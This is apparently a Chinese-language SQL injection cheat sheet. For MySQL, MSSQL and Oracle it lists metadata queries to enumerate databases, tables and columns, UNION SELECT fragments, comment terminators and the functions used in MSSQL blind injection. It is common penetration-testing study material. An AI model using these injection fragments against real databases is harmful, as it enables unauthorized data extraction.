Mysql
查所有数据库名 查所有数据库名
select schema_name from information_schema.schemata
查看数据库test_db 下的所有表名 查看数据库test_db 下的所有表名
select table_name from information_schema.tables where table_schema='test_db'
查看数据库test_db里的表test_table下的所有列名
select column_name from information_schema.columns where table_schema='test_db' and table_name='test_table'
最终查询信息
select 列名信息 from 库名.表名
注释符:--+、#
mssql
Sysdatabases表:该表保存在master数据库中,这个表中保存的是所有的库名,以及库的ID,和一些相关信息
Sysobjects表:SQL-SERVER的每个数据库内都有此系统表,它存放该数据库内创建的所有对象
Syscolumns表:该表位于每个数据库中
sysdatabases表,name列存放着数据库名,并且该表只存在master数据库
select name from master.dbo. sysdatabases
sysobjects表,name列存放着数据库的所有的表名,存在于所有的数据库下
select id from sysobjects where xtype='U';
syscolumns表,name列存放着数据库的所有的列名,存在于所有的数据库下
select name from syscolumns where id=(select id from master.dbo.sysobjects where name='表名')
从第m行开始,取n行结果:
select top n username from users where username not in (select top m username from users);
mssql盲注核心
CHAR() :ascii转字符函数
subString('admin',2,1):字符串截取函数
从第2个开始截取第一个数,对其ascii编码
注释符:--
oracl
Oracle查询需要带上表名,Oracle只有一个表dual表
获取用户名 获取用户名
select user from dual
获取默认表user_tables 下的表名
union select table_name,null,null from user_tables
获取表T_USER下的列名 获取表T_USER下的列名
union select column_name,null,null(有几列,用null补齐) from user_tab_columns where table_name='T_USER'
rownum=1 随机获取一行
默认表user_tab_columns存储当前数据库所有列名
注释符:--